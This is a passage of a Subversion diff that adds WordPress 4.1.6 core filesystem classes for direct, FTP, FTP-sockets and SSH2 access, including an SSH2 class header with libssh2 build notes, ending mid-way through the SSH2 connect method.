+	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
+		// Safe mode fails with a trailing slash under certain PHP versions.
+		$path = untrailingslashit($path);
+		if ( empty($path) )
+			return false;
+
+		if ( ! $chmod )
+			$chmod = FS_CHMOD_DIR;
+
+		if ( ! @mkdir($path) )
+			return false;
+		$this->chmod($path, $chmod);
+		if ( $chown )
+			$this->chown($path, $chown);
+		if ( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	/**
+	 * @param string $path
+	 * @param bool $recursive
+	 * @return type
+	 */
+	public function rmdir($path, $recursive = false) {
+		return $this->delete($path, $recursive);
+	}
+
+	/**
+	 * @param string $path
+	 * @param bool $include_hidden
+	 * @param bool $recursive
+	 * @return bool|array
+	 */
+	public function dirlist($path, $include_hidden = true, $recursive = false) {
+		if ( $this->is_file($path) ) {
+			$limit_file = basename($path);
+			$path = dirname($path);
+		} else {
+			$limit_file = false;
+		}
+
+		if ( ! $this->is_dir($path) )
+			return false;
+
+		$dir = @dir($path);
+		if ( ! $dir )
+			return false;
+
+		$ret = array();
+
+		while (false !== ($entry = $dir->read()) ) {
+			$struc = array();
+			$struc['name'] = $entry;
+
+			if ( '.' == $struc['name'] || '..' == $struc['name'] )
+				continue;
+
+			if ( ! $include_hidden && '.' == $struc['name'][0] )
+				continue;
+
+			if ( $limit_file && $struc['name'] != $limit_file)
+				continue;
+
+			$struc['perms'] 	= $this->gethchmod($path.'/'.$entry);
+			$struc['permsn']	= $this->getnumchmodfromh($struc['perms']);
+			$struc['number'] 	= false;
+			$struc['owner']    	= $this->owner($path.'/'.$entry);
+			$struc['group']    	= $this->group($path.'/'.$entry);
+			$struc['size']    	= $this->size($path.'/'.$entry);
+			$struc['lastmodunix']= $this->mtime($path.'/'.$entry);
+			$struc['lastmod']   = date('M j',$struc['lastmodunix']);
+			$struc['time']    	= date('h:i:s',$struc['lastmodunix']);
+			$struc['type']		= $this->is_dir($path.'/'.$entry) ? 'd' : 'f';
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+		$dir->close();
+		unset($dir);
+		return $ret;
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ftpext.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ftpext.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ftpext.php	(revision 33402)
@@ -0,0 +1,526 @@
+<?php
+/**
+ * WordPress FTP Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for implementing FTP.
+ *
+ * @since 2.5.0
+ * @package WordPress
+ * @subpackage Filesystem
+ * @uses WP_Filesystem_Base Extends class
+ */
+class WP_Filesystem_FTPext extends WP_Filesystem_Base {
+	public $link;
+	public $errors = null;
+	public $options = array();
+
+	public function __construct($opt='') {
+		$this->method = 'ftpext';
+		$this->errors = new WP_Error();
+
+		// Check if possible to use ftp functions.
+		if ( ! extension_loaded('ftp') ) {
+			$this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available'));
+			return false;
+		}
+
+		// This Class uses the timeout on a per-connection basis, Others use it on a per-action basis.
+
+		if ( ! defined('FS_TIMEOUT') )
+			define('FS_TIMEOUT', 240);
+
+		if ( empty($opt['port']) )
+			$this->options['port'] = 21;
+		else
+			$this->options['port'] = $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('FTP hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		if ( ! empty($opt['base']) )
+			$this->wp_base = $opt['base'];
+
+		// Check if the options provided are OK.
+		if ( empty($opt['username']) )
+			$this->errors->add('empty_username', __('FTP username is required'));
+		else
+			$this->options['username'] = $opt['username'];
+
+		if ( empty($opt['password']) )
+			$this->errors->add('empty_password', __('FTP password is required'));
+		else
+			$this->options['password'] = $opt['password'];
+
+		$this->options['ssl'] = false;
+		if ( isset($opt['connection_type']) && 'ftps' == $opt['connection_type'] )
+			$this->options['ssl'] = true;
+	}
+
+	public function connect() {
+		if ( isset($this->options['ssl']) && $this->options['ssl'] && function_exists('ftp_ssl_connect') )
+			$this->link = @ftp_ssl_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT);
+		else
+			$this->link = @ftp_connect($this->options['hostname'], $this->options['port'], FS_CONNECT_TIMEOUT);
+
+		if ( ! $this->link ) {
+			$this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
+			return false;
+		}
+
+		if ( ! @ftp_login($this->link,$this->options['username'], $this->options['password']) ) {
+			$this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username']));
+			return false;
+		}
+
+		// Set the Connection to use Passive FTP
+		@ftp_pasv( $this->link, true );
+		if ( @ftp_get_option($this->link, FTP_TIMEOUT_SEC) < FS_TIMEOUT )
+			@ftp_set_option($this->link, FTP_TIMEOUT_SEC, FS_TIMEOUT);
+
+		return true;
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool|string
+	 */
+	public function get_contents( $file ) {
+		$tempfile = wp_tempnam($file);
+		$temp = fopen($tempfile, 'w+');
+
+		if ( ! $temp )
+			return false;
+
+		if ( ! @ftp_fget($this->link, $temp, $file, FTP_BINARY ) )
+			return false;
+
+		fseek( $temp, 0 ); // Skip back to the start of the file being written to
+		$contents = '';
+
+		while ( ! feof($temp) )
+			$contents .= fread($temp, 8192);
+
+		fclose($temp);
+		unlink($tempfile);
+		return $contents;
+	}
+
+	/**
+	 * @param string $file
+	 * @return array
+	 */
+	public function get_contents_array($file) {
+		return explode("\n", $this->get_contents($file));
+	}
+
+	/**
+	 * @param string $file
+	 * @param string $contents
+	 * @param bool|int $mode
+	 * @return bool
+	 */
+	public function put_contents($file, $contents, $mode = false ) {
+		$tempfile = wp_tempnam($file);
+		$temp = fopen( $tempfile, 'wb+' );
+		if ( ! $temp )
+			return false;
+
+		mbstring_binary_safe_encoding();
+
+		$data_length = strlen( $contents );
+		$bytes_written = fwrite( $temp, $contents );
+
+		reset_mbstring_encoding();
+
+		if ( $data_length !== $bytes_written ) {
+			fclose( $temp );
+			unlink( $tempfile );
+			return false;
+		}
+
+		fseek( $temp, 0 ); // Skip back to the start of the file being written to
+
+		$ret = @ftp_fput( $this->link, $file, $temp, FTP_BINARY );
+
+		fclose($temp);
+		unlink($tempfile);
+
+		$this->chmod($file, $mode);
+
+		return $ret;
+	}
+
+	/**
+	 * @return string
+	 */
+	public function cwd() {
+		$cwd = @ftp_pwd($this->link);
+		if ( $cwd )
+			$cwd = trailingslashit($cwd);
+		return $cwd;
+	}
+
+	/**
+	 * @param string $dir
+	 * @return bool
+	 */
+	public function chdir($dir) {
+		return @ftp_chdir($this->link, $dir);
+	}
+
+	/**
+	 * @param string $file
+	 * @param bool $group
+	 * @param bool $recursive
+	 */
+	public function chgrp($file, $group, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * @param string $file
+	 * @param int $mode
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function chmod($file, $mode = false, $recursive = false) {
+		if ( ! $mode ) {
+			if ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;
+		}
+
+		// chmod any sub-objects if recursive.
+		if ( $recursive && $this->is_dir($file) ) {
+			$filelist = $this->dirlist($file);
+			foreach ( (array)$filelist as $filename => $filemeta )
+				$this->chmod($file . '/' . $filename, $mode, $recursive);
+		}
+
+		// chmod the file or directory
+		if ( ! function_exists('ftp_chmod') )
+			return (bool)@ftp_site($this->link, sprintf('CHMOD %o %s', $mode, $file));
+		return (bool)@ftp_chmod($this->link, $mode, $file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return string
+	 */
+	public function owner($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['owner'];
+	}
+	/**
+	 * @param string $file
+	 * @return string
+	 */
+	public function getchmod($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['permsn'];
+	}
+	/**
+	 * @param string $file
+	 * @return string
+	 */
+	public function group($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['group'];
+	}
+
+	/**
+	 *
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool   $overwrite
+	 * @param string|bool $mode
+	 * @return bool
+	 */
+	public function copy($source, $destination, $overwrite = false, $mode = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+		$content = $this->get_contents($source);
+		if ( false === $content )
+			return false;
+		return $this->put_contents($destination, $content, $mode);
+	}
+	/**
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool $overwrite
+	 * @return bool
+	 */
+	public function move($source, $destination, $overwrite = false) {
+		return ftp_rename($this->link, $source, $destination);
+	}
+	/**
+	 * @param string $file
+	 * @param bool $recursive
+	 * @param string $type
+	 * @return bool
+	 */
+	public function delete($file, $recursive = false, $type = false) {
+		if ( empty($file) )
+			return false;
+		if ( 'f' == $type || $this->is_file($file) )
+			return @ftp_delete($this->link, $file);
+		if ( !$recursive )
+			return @ftp_rmdir($this->link, $file);
+
+		$filelist = $this->dirlist( trailingslashit($file) );
+		if ( !empty($filelist) )
+			foreach ( $filelist as $delete_file )
+				$this->delete( trailingslashit($file) . $delete_file['name'], $recursive, $delete_file['type'] );
+		return @ftp_rmdir($this->link, $file);
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function exists($file) {
+		$list = @ftp_nlist($this->link, $file);
+		return !empty($list); //empty list = no file, so invert.
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_file($file) {
+		return $this->exists($file) && !$this->is_dir($file);
+	}
+	/**
+	 * @param string $path
+	 * @return bool
+	 */
+	public function is_dir($path) {
+		$cwd = $this->cwd();
+		$result = @ftp_chdir($this->link, trailingslashit($path) );
+		if ( $result && $path == $this->cwd() || $this->cwd() != $cwd ) {
+			@ftp_chdir($this->link, $cwd);
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_readable($file) {
+		return true;
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_writable($file) {
+		return true;
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function atime($file) {
+		return false;
+	}
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function mtime($file) {
+		return ftp_mdtm($this->link, $file);
+	}
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function size($file) {
+		return ftp_size($this->link, $file);
+	}
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function touch($file, $time = 0, $atime = 0) {
+		return false;
+	}
+
+	/**
+	 * @param string $path
+	 * @param mixed $chmod
+	 * @param mixed $chown
+	 * @param mixed $chgrp
+	 * @return bool
+	 */
+	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
+		$path = untrailingslashit($path);
+		if ( empty($path) )
+			return false;
+
+		if ( !@ftp_mkdir($this->link, $path) )
+			return false;
+		$this->chmod($path, $chmod);
+		if ( $chown )
+			$this->chown($path, $chown);
+		if ( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	/**
+	 * @param string $path
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function rmdir($path, $recursive = false) {
+		return $this->delete($path, $recursive);
+	}
+
+	/**
+	 * @staticvar bool $is_windows
+	 * @param string $line
+	 * @return string
+	 */
+	public function parselisting($line) {
+		static $is_windows;
+		if ( is_null($is_windows) )
+			$is_windows = stripos( ftp_systype($this->link), 'win') !== false;
+
+		if ( $is_windows && preg_match('/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/', $line, $lucifer) ) {
+			$b = array();
+			if ( $lucifer[3] < 70 )
+				$lucifer[3] +=2000;
+			else
+				$lucifer[3] += 1900; // 4digit year fix
+			$b['isdir'] = ( $lucifer[7] == '<DIR>');
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			else
+				$b['type'] = 'f';
+			$b['size'] = $lucifer[7];
+			$b['month'] = $lucifer[1];
+			$b['day'] = $lucifer[2];
+			$b['year'] = $lucifer[3];
+			$b['hour'] = $lucifer[4];
+			$b['minute'] = $lucifer[5];
+			$b['time'] = @mktime($lucifer[4] + (strcasecmp($lucifer[6], "PM") == 0 ? 12 : 0), $lucifer[5], 0, $lucifer[1], $lucifer[2], $lucifer[3]);
+			$b['am/pm'] = $lucifer[6];
+			$b['name'] = $lucifer[8];
+		} elseif ( !$is_windows && $lucifer = preg_split('/[ ]/', $line, 9, PREG_SPLIT_NO_EMPTY)) {
+			//echo $line."\n";
+			$lcount = count($lucifer);
+			if ( $lcount < 8 )
+				return '';
+			$b = array();
+			$b['isdir'] = $lucifer[0]{0} === 'd';
+			$b['islink'] = $lucifer[0]{0} === 'l';
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			elseif ( $b['islink'] )
+				$b['type'] = 'l';
+			else
+				$b['type'] = 'f';
+			$b['perms'] = $lucifer[0];
+			$b['number'] = $lucifer[1];
+			$b['owner'] = $lucifer[2];
+			$b['group'] = $lucifer[3];
+			$b['size'] = $lucifer[4];
+			if ( $lcount == 8 ) {
+				sscanf($lucifer[5], '%d-%d-%d', $b['year'], $b['month'], $b['day']);
+				sscanf($lucifer[6], '%d:%d', $b['hour'], $b['minute']);
+				$b['time'] = @mktime($b['hour'], $b['minute'], 0, $b['month'], $b['day'], $b['year']);
+				$b['name'] = $lucifer[7];
+			} else {
+				$b['month'] = $lucifer[5];
+				$b['day'] = $lucifer[6];
+				if ( preg_match('/([0-9]{2}):([0-9]{2})/', $lucifer[7], $l2) ) {
+					$b['year'] = date("Y");
+					$b['hour'] = $l2[1];
+					$b['minute'] = $l2[2];
+				} else {
+					$b['year'] = $lucifer[7];
+					$b['hour'] = 0;
+					$b['minute'] = 0;
+				}
+				$b['time'] = strtotime( sprintf('%d %s %d %02d:%02d', $b['day'], $b['month'], $b['year'], $b['hour'], $b['minute']) );
+				$b['name'] = $lucifer[8];
+			}
+		}
+
+		// Replace symlinks formatted as "source -> target" with just the source name
+		if ( $b['islink'] )
+			$b['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $b['name'] );
+
+		return $b;
+	}
+
+	/**
+	 * @param string $path
+	 * @param bool $include_hidden
+	 * @param bool $recursive
+	 * @return bool|array
+	 */
+	public function dirlist($path = '.', $include_hidden = true, $recursive = false) {
+		if ( $this->is_file($path) ) {
+			$limit_file = basename($path);
+			$path = dirname($path) . '/';
+		} else {
+			$limit_file = false;
+		}
+
+		$pwd = @ftp_pwd($this->link);
+		if ( ! @ftp_chdir($this->link, $path) ) // Cant change to folder = folder doesn't exist
+			return false;
+		$list = @ftp_rawlist($this->link, '-a', false);
+		@ftp_chdir($this->link, $pwd);
+
+		if ( empty($list) ) // Empty array = non-existent folder (real folder will show . at least)
+			return false;
+
+		$dirlist = array();
+		foreach ( $list as $k => $v ) {
+			$entry = $this->parselisting($v);
+			if ( empty($entry) )
+				continue;
+
+			if ( '.' == $entry['name'] || '..' == $entry['name'] )
+				continue;
+
+			if ( ! $include_hidden && '.' == $entry['name'][0] )
+				continue;
+
+			if ( $limit_file && $entry['name'] != $limit_file)
+				continue;
+
+			$dirlist[ $entry['name'] ] = $entry;
+		}
+
+		$ret = array();
+		foreach ( (array)$dirlist as $struc ) {
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+		return $ret;
+	}
+
+	public function __destruct() {
+		if ( $this->link )
+			ftp_close($this->link);
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ftpsockets.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ftpsockets.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ftpsockets.php	(revision 33402)
@@ -0,0 +1,456 @@
+<?php
+/**
+ * WordPress FTP Sockets Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for implementing FTP Sockets.
+ *
+ * @since 2.5.0
+ * @package WordPress
+ * @subpackage Filesystem
+ * @uses WP_Filesystem_Base Extends class
+ */
+class WP_Filesystem_ftpsockets extends WP_Filesystem_Base {
+	public $ftp = false;
+	public $errors = null;
+	public $options = array();
+
+	public function __construct($opt = '') {
+		$this->method = 'ftpsockets';
+		$this->errors = new WP_Error();
+
+		// Check if possible to use ftp functions.
+		if ( ! @include_once( ABSPATH . 'wp-admin/includes/class-ftp.php' ) ) {
+			return false;
+		}
+		$this->ftp = new ftp();
+
+		if ( empty($opt['port']) )
+			$this->options['port'] = 21;
+		else
+			$this->options['port'] = $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('FTP hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		if ( ! empty($opt['base']) )
+			$this->wp_base = $opt['base'];
+
+		// Check if the options provided are OK.
+		if ( empty ($opt['username']) )
+			$this->errors->add('empty_username', __('FTP username is required'));
+		else
+			$this->options['username'] = $opt['username'];
+
+		if ( empty ($opt['password']) )
+			$this->errors->add('empty_password', __('FTP password is required'));
+		else
+			$this->options['password'] = $opt['password'];
+	}
+
+	public function connect() {
+		if ( ! $this->ftp )
+			return false;
+
+		$this->ftp->setTimeout(FS_CONNECT_TIMEOUT);
+
+		if ( ! $this->ftp->SetServer($this->options['hostname'], $this->options['port']) ) {
+			$this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
+			return false;
+		}
+
+		if ( ! $this->ftp->connect() ) {
+			$this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
+			return false;
+		}
+
+		if ( ! $this->ftp->login($this->options['username'], $this->options['password']) ) {
+			$this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username']));
+			return false;
+		}
+
+		$this->ftp->SetType( FTP_BINARY );
+		$this->ftp->Passive( true );
+		$this->ftp->setTimeout( FS_TIMEOUT );
+		return true;
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool|string
+	 */
+	public function get_contents( $file ) {
+		if ( ! $this->exists($file) )
+			return false;
+
+		$temp = wp_tempnam( $file );
+
+		if ( ! $temphandle = fopen($temp, 'w+') )
+			return false;
+
+		mbstring_binary_safe_encoding();
+
+		if ( ! $this->ftp->fget($temphandle, $file) ) {
+			fclose($temphandle);
+			unlink($temp);
+
+			reset_mbstring_encoding();
+
+			return ''; // Blank document, File does exist, It's just blank.
+		}
+
+		reset_mbstring_encoding();
+
+		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to
+		$contents = '';
+
+		while ( ! feof($temphandle) )
+			$contents .= fread($temphandle, 8192);
+
+		fclose($temphandle);
+		unlink($temp);
+		return $contents;
+	}
+	/**
+	 * @param string $file
+	 * @return array
+	 */
+	public function get_contents_array($file) {
+		return explode("\n", $this->get_contents($file) );
+	}
+
+	/**
+	 * @param string $file
+	 * @param string $contents
+	 * @param int|bool $mode
+	 * @return bool
+	 */
+	public function put_contents($file, $contents, $mode = false ) {
+		$temp = wp_tempnam( $file );
+		if ( ! $temphandle = @fopen($temp, 'w+') ) {
+			unlink($temp);
+			return false;
+		}
+
+		// The FTP class uses string functions internally during file download/upload
+		mbstring_binary_safe_encoding();
+
+		$bytes_written = fwrite( $temphandle, $contents );
+		if ( false === $bytes_written || $bytes_written != strlen( $contents ) ) {
+			fclose( $temphandle );
+			unlink( $temp );
+
+			reset_mbstring_encoding();
+
+			return false;
+		}
+
+		fseek( $temphandle, 0 ); // Skip back to the start of the file being written to
+
+		$ret = $this->ftp->fput($file, $temphandle);
+
+		reset_mbstring_encoding();
+
+		fclose($temphandle);
+		unlink($temp);
+
+		$this->chmod($file, $mode);
+
+		return $ret;
+	}
+
+	public function cwd() {
+		$cwd = $this->ftp->pwd();
+		if ( $cwd )
+			$cwd = trailingslashit($cwd);
+		return $cwd;
+	}
+
+	public function chdir($file) {
+		return $this->ftp->chdir($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @param bool $group
+	 * @param bool $recursive
+	 */
+	public function chgrp($file, $group, $recursive = false ) {
+		return false;
+	}
+
+	/**
+	 * @param string $file
+	 * @param int|bool $mode
+	 * @param bool $recursive
+	 * @return bool
+	 */
+	public function chmod($file, $mode = false, $recursive = false ) {
+		if ( ! $mode ) {
+			if ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;
+		}
+
+		// chmod any sub-objects if recursive.
+		if ( $recursive && $this->is_dir($file) ) {
+			$filelist = $this->dirlist($file);
+			foreach ( (array)$filelist as $filename => $filemeta )
+				$this->chmod($file . '/' . $filename, $mode, $recursive);
+		}
+
+		// chmod the file or directory
+		return $this->ftp->chmod($file, $mode);
+	}
+
+	/**
+	 * @param string $file
+	 * @return string
+	 */
+	public function owner($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['owner'];
+	}
+	/**
+	 * @param string $file
+	 * @return string
+	 */
+	public function getchmod($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['permsn'];
+	}
+	/**
+	 * @param string $file
+	 * @return string
+	 */
+	public function group($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['group'];
+	}
+	/**
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool $overwrite
+	 * @param int|bool $mode
+	 * @return bool
+	 */
+	public function copy($source, $destination, $overwrite = false, $mode = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+
+		$content = $this->get_contents($source);
+		if ( false === $content )
+			return false;
+
+		return $this->put_contents($destination, $content, $mode);
+	}
+	/**
+	 * @param string $source
+	 * @param string $destination
+	 * @param bool $overwrite
+	 * @return bool
+	 */
+	public function move($source, $destination, $overwrite = false ) {
+		return $this->ftp->rename($source, $destination);
+	}
+	/**
+	 * @param string $file
+	 * @param bool $recursive
+	 * @param string $type
+	 * @return bool
+	 */
+	public function delete($file, $recursive = false, $type = false) {
+		if ( empty($file) )
+			return false;
+		if ( 'f' == $type || $this->is_file($file) )
+			return $this->ftp->delete($file);
+		if ( !$recursive )
+			return $this->ftp->rmdir($file);
+
+		return $this->ftp->mdel($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function exists( $file ) {
+		$list = $this->ftp->nlist( $file );
+		return !empty( $list ); //empty list = no file, so invert.
+		// Return $this->ftp->is_exists($file); has issues with ABOR+426 responses on the ncFTPd server.
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_file($file) {
+		if ( $this->is_dir($file) )
+			return false;
+		if ( $this->exists($file) )
+			return true;
+		return false;
+	}
+
+	/**
+	 * @param string $path
+	 * @return bool
+	 */
+	public function is_dir($path) {
+		$cwd = $this->cwd();
+		if ( $this->chdir($path) ) {
+			$this->chdir($cwd);
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_readable($file) {
+		return true;
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function is_writable($file) {
+		return true;
+	}
+
+	/**
+	 * @param string $file
+	 * @return bool
+	 */
+	public function atime($file) {
+		return false;
+	}
+
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function mtime($file) {
+		return $this->ftp->mdtm($file);
+	}
+
+	/**
+	 * @param string $file
+	 * @return int
+	 */
+	public function size($file) {
+		return $this->ftp->filesize($file);
+	}
+	/**
+	 * @param string $file
+	 * @param int $time
+	 * @param int $atime
+	 * @return bool
+	 */
+	public function touch($file, $time = 0, $atime = 0 ) {
+		return false;
+	}
+
+	/**
+	 * @param string $path
+	 * @param mixed $chmod
+	 * @param mixed $chown
+	 * @param mixed $chgrp
+	 * @return bool
+	 */
+	public function mkdir($path, $chmod = false, $chown = false, $chgrp = false ) {
+		$path = untrailingslashit($path);
+		if ( empty($path) )
+			return false;
+
+		if ( ! $this->ftp->mkdir($path) )
+			return false;
+		if ( ! $chmod )
+			$chmod = FS_CHMOD_DIR;
+		$this->chmod($path, $chmod);
+		if ( $chown )
+			$this->chown($path, $chown);
+		if ( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	/**
+	 * @param sting $path
+	 * @param bool $recursive
+	 */
+	public function rmdir($path, $recursive = false ) {
+		$this->delete($path, $recursive);
+	}
+
+	/**
+	 * @param string $path
+	 * @param bool $include_hidden
+	 * @param bool $recursive
+	 * @return bool|array
+	 */
+	public function dirlist($path = '.', $include_hidden = true, $recursive = false ) {
+		if ( $this->is_file($path) ) {
+			$limit_file = basename($path);
+			$path = dirname($path) . '/';
+		} else {
+			$limit_file = false;
+		}
+
+		mbstring_binary_safe_encoding();
+
+		$list = $this->ftp->dirlist($path);
+		if ( empty( $list ) && ! $this->exists( $path ) ) {
+
+			reset_mbstring_encoding();
+
+			return false;
+		}
+
+		$ret = array();
+		foreach ( $list as $struc ) {
+
+			if ( '.' == $struc['name'] || '..' == $struc['name'] )
+				continue;
+
+			if ( ! $include_hidden && '.' == $struc['name'][0] )
+				continue;
+
+			if ( $limit_file && $struc['name'] != $limit_file )
+				continue;
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $include_hidden, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			// Replace symlinks formatted as "source -> target" with just the source name
+			if ( $struc['islink'] )
+				$struc['name'] = preg_replace( '/(\s*->\s*.*)$/', '', $struc['name'] );
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+
+		reset_mbstring_encoding();
+
+		return $ret;
+	}
+
+	public function __destruct() {
+		$this->ftp->quit();
+	}
+}
Index: /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ssh2.php
===================================================================
--- /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ssh2.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/includes/class-wp-filesystem-ssh2.php	(revision 33402)
@@ -0,0 +1,505 @@
+<?php
+/**
+ * WordPress Filesystem Class for implementing SSH2
+ *
+ * To use this class you must follow these steps for PHP 5.2.6+
+ *
+ * @contrib http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes
+ *
+ * Complie libssh2 (Note: Only 0.14 is officaly working with PHP 5.2.6+ right now, But many users have found the latest versions work)
+ *
+ * cd /usr/src
+ * wget http://surfnet.dl.sourceforge.net/sourceforge/libssh2/libssh2-0.14.tar.gz
+ * tar -zxvf libssh2-0.14.tar.gz
+ * cd libssh2-0.14/
+ * ./configure
+ * make all install
+ *
+ * Note: Do not leave the directory yet!
+ *
+ * Enter: pecl install -f ssh2
+ *
+ * Copy the ssh.so file it creates to your PHP Module Directory.
+ * Open up your PHP.INI file and look for where extensions are placed.
+ * Add in your PHP.ini file: extension=ssh2.so
+ *
+ * Restart Apache!
+ * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp  exist.
+ *
+ * Note: as of WordPress 2.8, This utilises the PHP5+ function 'stream_get_contents'
+ *
+ * @since 2.7.0
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+class WP_Filesystem_SSH2 extends WP_Filesystem_Base {
+
+	public $link = false;
+	public $sftp_link = false;
+	public $keys = false;
+	public $errors = array();
+	public $options = array();
+
+	public function __construct($opt='') {
+		$this->method = 'ssh2';
+		$this->errors = new WP_Error();
+
+		//Check if possible to use ssh2 functions.
+		if ( ! extension_loaded('ssh2') ) {
+			$this->errors->add('no_ssh2_ext', __('The ssh2 PHP extension is not available'));
+			return false;
+		}
+		if ( !function_exists('stream_get_contents') ) {
+			$this->errors->add('ssh2_php_requirement', __('The ssh2 PHP extension is available, however, we require the PHP5 function <code>stream_get_contents()</code>'));
+			return false;
+		}
+
+		// Set defaults:
+		if ( empty($opt['port']) )
+			$this->options['port'] = 22;
+		else
+			$this->options['port'] = $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('SSH2 hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		if ( ! empty($opt['base']) )
+			$this->wp_base = $opt['base'];
+
+		// Check if the options provided are OK.
+		if ( !empty ($opt['public_key']) && !empty ($opt['private_key']) ) {
+			$this->options['public_key'] = $opt['public_key'];
+			$this->options['private_key'] = $opt['private_key'];
+
+			$this->options['hostkey'] = array('hostkey' => 'ssh-rsa');
+
+			$this->keys = true;
+		} elseif ( empty ($opt['username']) ) {
+			$this->errors->add('empty_username', __('SSH2 username is required'));
+		}
+
+		if ( !empty($opt['username']) )
+			$this->options['username'] = $opt['username'];
+
+		if ( empty ($opt['password']) ) {
+			// Password can be blank if we are using keys.
+			if ( !$this->keys )
+				$this->errors->add('empty_password', __('SSH2 password is required'));
+		} else {
+			$this->options['password'] = $opt['password'];
+		}
+
+	}
+
+	public function connect() {
+		if ( ! $this->keys ) {
+			$this->link = @ssh2_connect($this->options['hostname'], $this->options['port']);
+		} else {
